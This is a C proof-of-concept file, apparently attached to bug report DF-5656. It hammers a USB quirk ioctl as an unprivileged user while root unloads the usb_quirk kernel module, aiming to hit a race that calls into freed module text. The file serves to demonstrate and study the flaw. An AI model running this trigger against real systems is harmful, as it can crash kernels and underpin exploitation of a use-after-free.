DF-5656 / quirk_get_spam.c
/* * DF-5656 - unprivileged consumer side of the usb_dynamic.c unload race. * * Hammer USB_DEV_QUIRK_GET on /dev/usbctl as an unprivileged user. * This ioctl dispatches through usb_quirk_ioctl_p (usb_dynamic.c:64): * - usb_quirk.ko loaded -> real usb_quirk_ioctl() in module text * - usb_quirk.ko absent -> core stub usb_quirk_ioctl_w -> ENOIOCTL * * While root kldunload(8)s usb_quirk.ko, every call that reads the pointer * before the SYSUNINIT reset but is delayed past the tsleep(1s) "grace * period" (usb_dynamic.c:113) would call into freed module text. * * usage: quirk_get_spam <seconds> */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <sys/ioctl.h> #include <bus/u4b/usb_ioctl.h> int main(int argc, char **argv) { struct usb_gen_quirk gq; double secs = (argc > 1) ? atof(argv[1]) : 10.0; struct timespec ts0, ts1; unsigned long n_ok = 0, n_enoioctl = 0, n_other = 0; int last = -1, fd; fd = open("/dev/usbctl", O_RDONLY); if (fd < 0) { fprintf(stderr, "open(/dev/usbctl): %s\n", strerror(errno)); return (2); } printf("[spam] fd=%d (unprivileged uid=%d) spamming for %.1fs\n", fd, getuid()); clock_gettime(CLOCK_MONOTONIC, &ts0); for (;;) { memset(&gq, 0, sizeof(gq)); gq.index = 0; int err = ioctl(fd, USB_DEV_QUIRK_GET, &gq); if (err == 0) { n_ok++; if (last != 0) { printf("[spam] module text LIVE " "(GET ok, vid=0x%04x)\n", gq.vid); last = 0; } } else { n_other++; /* track each distinct errno separately */ switch (errno) { case ENOTTY: n_enoioctl++; /* stub: ENOIOCTL(-3) maps here */ break; default: fprintf(stderr, "[spam] unexpected errno=%d " "(%s) count=%lu\n", errno, strerror(errno), n_other); break; } if (last != 1) { printf("[spam] core stub (errno=%d) " "- module text gone\n", errno); last = 1; } } clock_gettime(CLOCK_MONOTONIC, &ts1); if ((ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9 > secs) break; } printf("[spam] done: ok=%lu stub=%lu other=%lu\n", n_ok, n_enoioctl, n_other); return (0); } |